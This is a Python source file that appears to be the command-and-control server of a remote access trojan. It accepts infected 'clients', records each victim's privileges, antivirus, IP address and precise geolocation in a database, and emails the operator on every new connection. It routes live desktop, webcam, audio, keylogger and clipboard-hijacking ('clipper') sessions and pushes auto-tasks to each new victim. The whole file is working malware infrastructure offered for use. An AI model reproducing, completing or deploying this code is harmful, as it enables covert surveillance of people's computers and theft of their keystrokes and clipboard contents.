''' A vital class taking care of setting up the threads, servers & organizing connecting clients. Verified: 2021 February 8 * Follows PEP8 * Tested Platforms * Windows 10 * Third Party Modules * eel ''' from server.helper import ServerHelper, SafeIP from server.state import ServerStatic, Dynamic from server.modules.desktop import Desktop from server.modules.webcam import Webcam from server.modules.logger import Logger from server.controller import Controller from server.blacklist import Blacklist from server.modules.audio import Audio from server.autotask import Autotask from server.database import Database from server.settings import Settings from server.error import ServerError from server.console import Console from server.request import Request from shared.helper import Helper from shared.state import Static from server.parse import Parse from server.email import Email from shared.data import Data import traceback import ipaddress import socket import time if not ServerStatic.TERMINAL: from server.web import Gui import eel class ClientType: def __init__(self, socket, data): self.__socket = socket self.__data = data self.__connect_ip = SafeIP(data['connect_ip']) @property def socket(self): return self.__socket @property def data(self): return self.__data @property def connect_ip(self): return self.__connect_ip @property def country(self): return self.__data['country'] @property def username(self): return self.__data['username'] @property def hostname(self): return self.__data['hostname'] @property def privileges(self): return self.__data['privileges'] @property def antivirus(self): return self.__data['antivirus'] @property def operating_system(self): return self.__data['operating_system'] @property def cpu(self): return self.__data['cpu'] @property def gpu(self): return self.__data['gpu'] @property def ram(self): return self.__data['ram'] @property def initial_connect(self): return self.__data['initial_connect'] @property def filepath(self): return self.__data['filepath'] @property def running(self): return self.__data['running'] @property def build_name(self): return self.__data['build_name'] @property def build_version(self): return self.__data['build_version'] @property def os_version(self): return self.__data['os_version'] @property def system_locale(self): return self.__data['system_locale'] @property def system_uptime(self): return self.__data['system_uptime'] @property def pc_manufacturer(self): return self.__data['pc_manufacturer'] @property def pc_model(self): return self.__data['pc_model'] @property def mac_address(self): return self.__data['mac_address'] @property def external_ip(self): return self.__data['external_ip'] @property def local_ip(self): return self.__data['local_ip'] @property def timezone(self): return self.__data['timezone'] @property def country_code(self): return self.__data['country_code'] @property def region(self): return self.__data['region'] @property def city(self): return self.__data['city'] @property def zip_code(self): return self.__data['zip_code'] @property def latitude(self): return self.__data['latitude'] @property def longitude(self): return self.__data['longitude'] class ServerSocket: __TABLE_NAME = 'clients' __TABLE_KWARGS = { 'country': 'text', 'connect_ip': 'text', 'username': 'text', 'hostname': 'text', 'privileges': 'text', 'antivirus': 'text', 'operating_system': 'text', 'cpu': 'text', 'gpu': 'text', 'ram': 'text', 'initial_connect': 'text', 'filepath': 'text', 'running': 'text', 'build_name': 'text', 'build_version': 'text', 'os_version': 'text', 'system_locale': 'text', 'system_uptime': 'text', 'pc_manufacturer': 'text', 'pc_model': 'text', 'mac_address': 'text', 'external_ip': 'text', 'local_ip': 'text', 'timezone': 'text', 'country_code': 'text', 'region': 'text', 'city': 'text', 'zip_code': 'text', 'latitude': 'text', 'longitude': 'text' } __HANDSHAKE_KEYS = { 'country', 'username', 'hostname', 'privileges', 'antivirus', 'operating_system', 'cpu', 'gpu', 'ram', 'filepath', 'running', 'build_name', 'build_version', 'os_version', 'system_locale', 'system_uptime', 'pc_manufacturer', 'pc_model', 'mac_address', 'external_ip', 'local_ip', 'timezone', 'country_code', 'region', 'city', 'zip_code', 'latitude', 'longitude' } def threads(self): Console.log(f'Started {ServerStatic.NAME}\n', log_type=ServerStatic.ACTION) Helper.thread(self.__listen) Helper.thread(self.__messages) if not ServerStatic.TERMINAL: Helper.thread(Gui.start) @ServerError.thread def __listen(self): with socket.socket((socket.AF_INET6 if ipaddress.ip_address(Static.IP).version == 6 else socket.AF_INET), socket.SOCK_STREAM) as sock: sock.bind((Static.IP, Static.PORT)) sock.listen() while True: conn, (connect_ip, _) = sock.accept() if connect_ip in Blacklist(False).blacklist: Console.log('Blocked Blacklisted IP [{}]\n'.format( connect_ip), Static.WARNING, ServerStatic.ACTION) conn.close() continue try: conn.settimeout(Static.LIVE_TIMEOUT) token = Data.recv(conn, True) if token is None: conn.settimeout(Static.TIMEOUT) self.__client(conn, connect_ip, self.__client_id()) else: timer, conn_type, args = Dynamic.TOKENS[token] timer.cancel() del Dynamic.TOKENS[token] Data.send(conn) if conn_type == ServerStatic.DESKTOP: Desktop(conn, token, connect_ip).live(*args) elif conn_type == ServerStatic.WEBCAM: Webcam(conn, token, connect_ip).live(*args) elif conn_type == ServerStatic.AUDIO: Audio(conn, token, connect_ip).live(*args) elif conn_type == ServerStatic.KEYLOGGER: Logger('keylogger', conn, token, connect_ip).live(*args) else: Logger('clipper', conn, token, connect_ip).live(*args) except Exception: Console.log('Connection Handshake Error [{}]\n'.format( connect_ip), Static.WARNING, ServerStatic.ACTION) conn.close() continue def __client_id(self): while True: shortuuid = ServerHelper.uuid()[ :ServerStatic.UUID_LENGTH] if shortuuid not in Dynamic.CLIENTS: return shortuuid def __client(self, conn, connect_ip, unique_id): try: try: db = Database() db.create_table(ServerSocket.__TABLE_NAME, **ServerSocket.__TABLE_KWARGS) client_data = db.read( ServerSocket.__TABLE_NAME, fetch=1, condition=('connect_ip', '=', connect_ip)) db.commit() db.close() except Exception: client_data = [] Data.send(conn, (not client_data or Settings.CONNECT_REFRESH, bool(Settings.CONNECT_STICKY))) response = Data.recv(conn, True) self.__verify_connect_handshake( response, not client_data or Settings.CONNECT_REFRESH) if client_data and not Settings.CONNECT_REFRESH: response = dict(zip( ServerSocket.__TABLE_KWARGS, client_data[0])) except Exception: Console.log('Invalid Connect Handshake\n', Static.DANGER, ServerStatic.ACTION) Console.log(traceback.format_exc(), log_type=ServerStatic.TRACEBACK) conn.close() else: if not client_data or (client_data and Settings.CONNECT_REFRESH): response.update(dict(initial_connect=Helper.timestamp(), connect_ip=connect_ip)) if not client_data: self.__store_client(response) else: self.__store_client(response, True) client = ClientType(conn, response) Dynamic.CLIENTS[unique_id] = client Helper.thread(self.__connect_work, unique_id, client) def __verify_connect_handshake(self, response, extensive): assert type(response) is dict, \ 'Invalid Connect Handshake Data Type' if extensive: assert ServerSocket.__HANDSHAKE_KEYS == response.keys(), \ 'Invalid Connect Handshake Keys Data Type' for value in response.values(): assert type(value) is str, \ 'Invalid Connect Handshake Value Data Type' else: assert response == Data.message(), 'Invalid Connect Handshake' @ServerError.quiet def __store_client(self, response, update=False): db = Database() if update: db.update(ServerSocket.__TABLE_NAME, ( 'connect_ip', '=', response['connect_ip']), **dict([(category, response[category]) for category in ServerSocket.__TABLE_KWARGS])) else: db.write(ServerSocket.__TABLE_NAME, [ response[category] for category in ServerSocket.__TABLE_KWARGS]) db.commit() db.close() @ServerError.quiet def __connect_work(self, unique_id, client): Console.log('Connected Client [{} {} {}]\n'.format( client.connect_ip.pure, ServerStatic.SEPERATOR, unique_id), Static.SUCCESS, ServerStatic.ACTION) self.__terminal_alert(unique_id, client) self.__gui_alert(unique_id, client) self.__autotask(unique_id) if Settings.EMAIL_ALERT: success = Email( Settings.EMAIL_SENDER, Settings.EMAIL_PASSWORD, Settings.EMAIL_RECEIVERS ).send( f'New Client Connected ({unique_id})', 'Connection Notification', ''.join([ '{}: {}
'.format( display_name, client.data[data_key]) for display_name, data_key in ServerStatic.CATEGORIES])) if success: Console.log('Connect Email Sent [{} {} {}]\n'.format( client.connect_ip.pure, ServerStatic.SEPERATOR, unique_id), log_type=ServerStatic.ACTION) else: Console.log('Connect Email Failed To Send [{} {} {}]\n'.format( client.connect_ip.pure, ServerStatic.SEPERATOR, unique_id), Static.WARNING, ServerStatic.ACTION) @ServerError.quiet def __terminal_alert(self, unique_id, client): if Settings.TERMINAL_ALERT: Console.printf('Client Connected [{} {} {}]'.format( client.connect_ip.pure, ServerStatic.SEPERATOR, unique_id), Static.INFO, newline=True) @ServerError.quiet def __gui_alert(self, unique_id, client): if not ServerStatic.TERMINAL: if eel._websockets != []: eel.clientAddEel(unique_id, client.data, Settings.GUI_ALERT) @ServerError.quiet def __autotask(self, unique_id): db = Database() db.execute('CREATE TABLE IF NOT EXISTS {} ({})'.format( Autotask.TABLE_NAME, Database.parse(Autotask.TABLE_KWARGS))) db.commit() db.close() for request_type, in Autotask(False).autotask: result = Parse.parse_string(Parse.parse_alias(request_type)) lower = Data.lower(result, False) if lower in ServerStatic.SESSION: Parse.execute(lower, result, False, ([unique_id], True)) else: Controller.message(False, result, custom=([unique_id], True)) @ServerError.thread def __messages(self): if ServerStatic.TERMINAL: Static.INTERVAL = Static.ALIVE timer = time.time() while True: if time.time() - timer > ServerStatic.PING_INTERVAL: if not ServerStatic.TERMINAL: if (Settings.GUI_UPDATE and eel._websockets != []): interval = Static.INTERVAL else: interval = Static.ALIVE else: interval = Static.ALIVE Controller.message(False, Data.message(interval), custom=(Dynamic.CLIENTS, False)) timer = time.time() if Dynamic.MESSAGES: for message in Dynamic.MESSAGES: try: if message[0]: Dynamic.RESULT = Request( *message[1], **message[2]).send() else: Request(*message[1], **message[2]).send() except Exception as error: Console.log('[REQUEST] Internal Server Error\n', Static.DANGER, ServerStatic.ACTION) Console.log(traceback.format_exc(), log_type=ServerStatic.TRACEBACK) Console.printf(Helper.join( '[REQUEST] Internal Server Error', f'{type(error).__name__}: {error}' ), Static.DANGER, newline=True) finally: Dynamic.MESSAGES.remove(message) else: time.sleep(.1)